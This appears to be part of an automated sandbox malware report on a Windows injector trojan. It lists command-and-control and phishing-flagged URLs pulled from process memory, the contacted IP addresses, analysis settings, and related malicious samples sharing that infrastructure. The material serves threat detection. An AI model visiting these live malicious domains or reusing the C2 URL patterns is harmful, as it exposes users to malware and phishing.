http://utbidet-ugeas.biz/d/N?0298EF80DD9FEF80DDAAEFA8DD98EF0E0E0CD7288799EF40759AECB6F3AAC1B9EFA8DFA	edsuvoov-usum.exe, 00000001.00000003.2486210351.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486234033.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486285890.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://oukpcbtqgqwoa.nu/mL	edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sgfpiiwog.tk/;0	edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02146C369F136C369F266C1E9F146CB84C80549EC5156CF637166F00B126420FAD245C1	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?028C86	edsuvoov-usum.exe, 00000001.00000003.2775675156.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://oukpcbtqgqwoa.nu/~	edsuvoov-usum.exe, 00000001.00000003.3215091027.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3214993609.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/N?http://%s.biz/d/G?http://%s/d/rpt?%smodemisdn%u.%u.%u.%s	5SGOAKv7AR.exe, 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FBC86E6	edsuvoov-usum.exe, 00000001.00000003.2650399591.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027931B6B47E31B6B44B319EB479313867ED091EEE7831761C7B32809A4B1F8F8649019	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?0263D5344564D5344551D51C4563D5BA96F7ED9C1F62D5F4ED61D6026B51FB0D77	edsuvoov-usum.exe, 00000001.00000003.1633868801.00000000007CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://android.notify.windows.com/iOSd	explorer.exe, 00000005.00000003.2212309611.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BFB4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2214265649.000000000BFB3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3079859452.000000000BF73000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BF72000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0235A3ED6032A3ED6007A3C56035A363B3A19B453A34A32DC837A0DB4E078DD4520593C	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://qdukhasgmus.tk/	edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://owzuhlkauoavrg.rw/p	edsuvoov-usum.exe, 00000001.00000003.2013476768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2033834278.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000005.00000003.2211575398.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1360878216.0000000008D2F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3827739979.0000000008D47000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2211822398.0000000008D44000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078509367.0000000008D47000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdrwqa.mp/:	edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s.biz/d/N?	5SGOAKv7AR.exe, 5SGOAKv7AR.exe, 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmp, edsuvoov-usum.exe, edsuvoov-usum.exe, 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?027E8E5D79798E5D794C8E75797E8ED3AAEAB6F5237F8E9DD17C8D6B574CA0644B4EBE7	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75	edsuvoov-usum.exe, 00000001.00000003.2712709223.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ns.adobe	explorer.exe, 00000005.00000002.3819872573.0000000004627000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1358990371.0000000004627000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?023F07D6873807D6870D07FE873F075854AB3F7EDD3E07162F3D04E0A90D29EFB50F37F	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://jwimhacdt.cm/	edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3591514771.0000000000781000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0259AAD5925EAAD5926BAAFD9259AA5B41CD927DC858AA153A5BA9E3BC6B84ECA0699AF	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02A8EA4905AFEA49059AEA6105A8EAC7D63CD2E15FA9EA89ADAAE97F2B9AC4703798DA6	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://wfnsamu.st/L	edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://quzgmnyiqyqoez.kr/	edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2503988951.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02D0E53B31D7E53B31E2E51331D0E5B5E244DD936BD1E5FB99D2E60D1FE2CB0203E0D51	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02C4799EC2C3799EC2F679B6C2C479101150413698C5795E6AC67AA8ECF657A7F0F449B	edsuvoov-usum.exe, 00000001.00000003.2963937281.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?027124AD727624AD7243248572712423A1E51C052870246DDA73279B5C430A944041148	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E1655456FF7	edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://uvwabzkyifixf.tk/	edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?028C8677478B867747BE865F478C86F99418BEDF1D8D86B7EF8E854169BEA84E75BCB65	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2737326991.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2761481736.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2775675156.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://api.msn.com/%	explorer.exe, 00000005.00000000.1360878216.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2210576179.0000000008B3F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.3078024513.0000000008B38000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3824992663.0000000008B09000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://quzgmnyiqyqoez.kr	edsuvoov-usum.exe, 00000001.00000003.2469264612.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2486261816.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2420715468.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2482148761.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2446208623.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2457792216.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sgfpiiwog.tk/xy	edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://excel.office.comj	explorer.exe, 00000005.00000000.1369884699.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3830834393.000000000BF1C000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pdrwqa.mp/z	edsuvoov-usum.exe, 00000001.00000003.3648952417.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3624526051.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww99.utbidet-ugeas.biz/d/N?0266CF5C6661CF5C6654CF746666CFD2B5F2F7F43C67CF9CCE64CC6A4854E16554	edsuvoov-usum.exe, 00000001.00000003.3605804760.00000000007BF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?02F85E4FC9FF5E4FC9CA5E67C9F85EC11A6C66E793F95E8F61FA5D79E7CA7076FB	edsuvoov-usum.exe, 00000001.00000002.3817754289.00000000007BF000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0224E513A724E513A716E53FA724E59D74B0DDBBFD25E5D30F26E6258916CB2A9514D53	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023449DD0C3349DD0C0649B50C344953DFA071755635491DA4364AEB220667E43E0479F	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?023563DBDB3263DBDB0763F3DB35635508A15B738134631B733760EDF5074DE2E90553F	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://schemas.micro	explorer.exe, 00000005.00000002.3827874428.00000000091E0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3823592819.00000000084D0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3822536427.0000000007920000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://akpzumsigtkmmw.mp/	edsuvoov-usum.exe, 00000001.00000003.3435492600.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3409196391.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3497300445.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000002.3817754289.000000000074E000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393132219.00000000007CD000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3531692273.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3393274054.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3480072576.00000000007D4000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3420778731.00000000007D4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://wns.windows.com/ilable1	explorer.exe, 00000005.00000002.3830834393.000000000BE77000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2213041567.000000000BE77000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1369884699.000000000BE77000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww99.utbidet-ugeas.biz/d/N?0216856	edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ylmed.cm/xzK0L~	edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?029C5E69069B5E6906AE5E41069C5EE7D50866C15C9D5EA9AE9E5D5F28AE705034AC6E4	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2650399591.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3063939839.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?0249C8E2654EC8E2657BC8CA6549C86CB6DDF04A3F48C822CD4BCBD44B7BE6DB5779F8C	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AFEF8DF	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3629814969.0000000000782000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2699619982.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2699979474.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.3605804760.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://utbidet-ugeas.biz/d/N?025434EAA65334EAA66634C2A654346475C00C42FC55342A0E5637DC88661AD3946404C	edsuvoov-usum.exe, 00000001.00000002.3818463647.0000000002BF3000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://owzuhlkauoavrg.rw/(	edsuvoov-usum.exe, 00000001.00000003.2013476768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2124424664.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111789785.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2033834278.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2111460280.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2155906768.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2051722342.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, edsuvoov-usum.exe, 00000001.00000003.2004705819.00000000007C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww99.utbidet-ugeas.biz/d/N?02DFBDD99DD8BDD99DEDBDF19DDFBD574E4B8571C7DEBD1935DDBEEFB3ED93E0AF	edsuvoov-usum.exe, 00000001.00000003.2699979474.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.29.97	vnsudgrujuqaw.vg	Germany	24940	HETZNER-ASDE	false
64.70.19.203	taiqjio.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
172.234.222.138	utbidet-ugeas.biz	United States	20940	AKAMAI-ASN1EU	false
45.79.222.138	esqkgcss.ph	United States	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1506041
Start date and time:	2024-09-07 15:32:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5SGOAKv7AR.exe renamed because original name is a hash value
Original Sample Name:	Virus.Injector.ATA_virussign.com_36ec3a51b474cf8210bc02444a290499.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/4@548/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 17 Number of non-executed functions: 32
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): www.bing.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:33:52	API Interceptor	2026x Sleep call for process: explorer.exe modified
09:33:54	API Interceptor	22726x Sleep call for process: edsuvoov-usum.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.29.97	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse
	p4C7Gm10K3.exe	Get hash	malicious	Unknown	Browse
	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
64.70.19.203	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	blog.abconstructors.ws/wp-login.php
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	blog.acashmachine.ws/wp-login.php
	Wk8eTHnajw.elf	Get hash	malicious	Unknown	Browse	blog.accu-personalservice.ws/wp-login.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	fedyanin.ws/admin.php
	BbbEtaIxAU.exe	Get hash	malicious	Betabot	Browse	issasname.ws/xyz/abc/order.php?id=5889637
	GxELazkKkG.exe	Get hash	malicious	Unknown	Browse	enahmnhqah.ws/imgs/krewa/nqxa.php?id=f21eztiy&s5=3159&lip=192.168.2.7&win=Unk
	Readme.exe	Get hash	malicious	Unknown	Browse	ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk
	EAfIchN1gN.exe	Get hash	malicious	Unknown	Browse	ehmpeseeaa.ws/imgs/krewa/nqxa.php?id=5143sudk&s5=3159&lip=192.168.2.4&win=Unk
	144C0621CA5ECB402DE01D8F10044F92A2EF917522E4B.exe	Get hash	malicious	Unknown	Browse	xircus.ws/kin/logout.php
	Br6Pmt0MiZ.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
172.234.222.138	Payment Advice - Advice RefGLV626201911]Priority payment Customer_PDF_.exe	Get hash	malicious	FormBook	Browse	przvgke.biz/enaandj
	7Y18r(155).exe	Get hash	malicious	Unknown	Browse	fwiwk.biz/whwaujbftg
	Aa4FIfA2bn.exe	Get hash	malicious	Unknown	Browse	przvgke.biz/hdybn
	WXKMSqpxCd.exe	Get hash	malicious	Unknown	Browse	fwiwk.biz/coqpmahjmholgu
	5Ldcb3pt1n.exe	Get hash	malicious	Unknown	Browse	przvgke.biz/anq

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
utbidet-ugeas.biz	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	172.234.222.143
	p4C7Gm10K3.exe	Get hash	malicious	Unknown	Browse	167.99.35.88
	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse	167.99.35.88

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	66.101.62.17
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	206.129.31.41
	m68k.elf	Get hash	malicious	Unknown	Browse	205.140.235.107
	154.213.187.80-x86-2024-09-01T00_09_56.elf	Get hash	malicious	Mirai	Browse	207.2.162.149
	95.214.27.183-x86-2024-09-02T08_52_28.elf	Get hash	malicious	Unknown	Browse	207.48.144.72
	mirai.mips.elf	Get hash	malicious	Mirai	Browse	208.128.187.123
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	64.242.160.135
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	206.156.198.186
	firmware.arm-linux-gnueabihf.elf	Get hash	malicious	Unknown	Browse	206.97.169.144
LINODE-APLinodeLLCUS	https://gujgdne.themayfairgroupllc.site/?h9=KJj91	Get hash	malicious	HTMLPhisher	Browse	172.105.14.134
	http://govedge.filegear-de.me	Get hash	malicious	Unknown	Browse	45.79.244.209
	http://therulecalm.com	Get hash	malicious	TechSupportScam	Browse	192.155.90.248
	https://rznfilarmonia.ru/bitrix/redirect.php?event1&event2&event3&goto=https://agroserviceica.com/rkos/dist	Get hash	malicious	Unknown	Browse	23.239.27.53
	http://seoattal.hosted.phplist.com/lists/lt.php?tid=fU9RVwRXBQ1dUE9QVVcFSQQDVFEVAAUABBRSUFtRUwEAAAFaUVNNAl1XU1JRVlFJAgMEXhVWUlMDFAVXAAAfVQcEUFZWBABQXAJRHgUGB1EEUVJeFVBSAlMUUAELUB8FVlcFTlFQBQdUAFNWAVYGBw	Get hash	malicious	Unknown	Browse	45.33.29.14
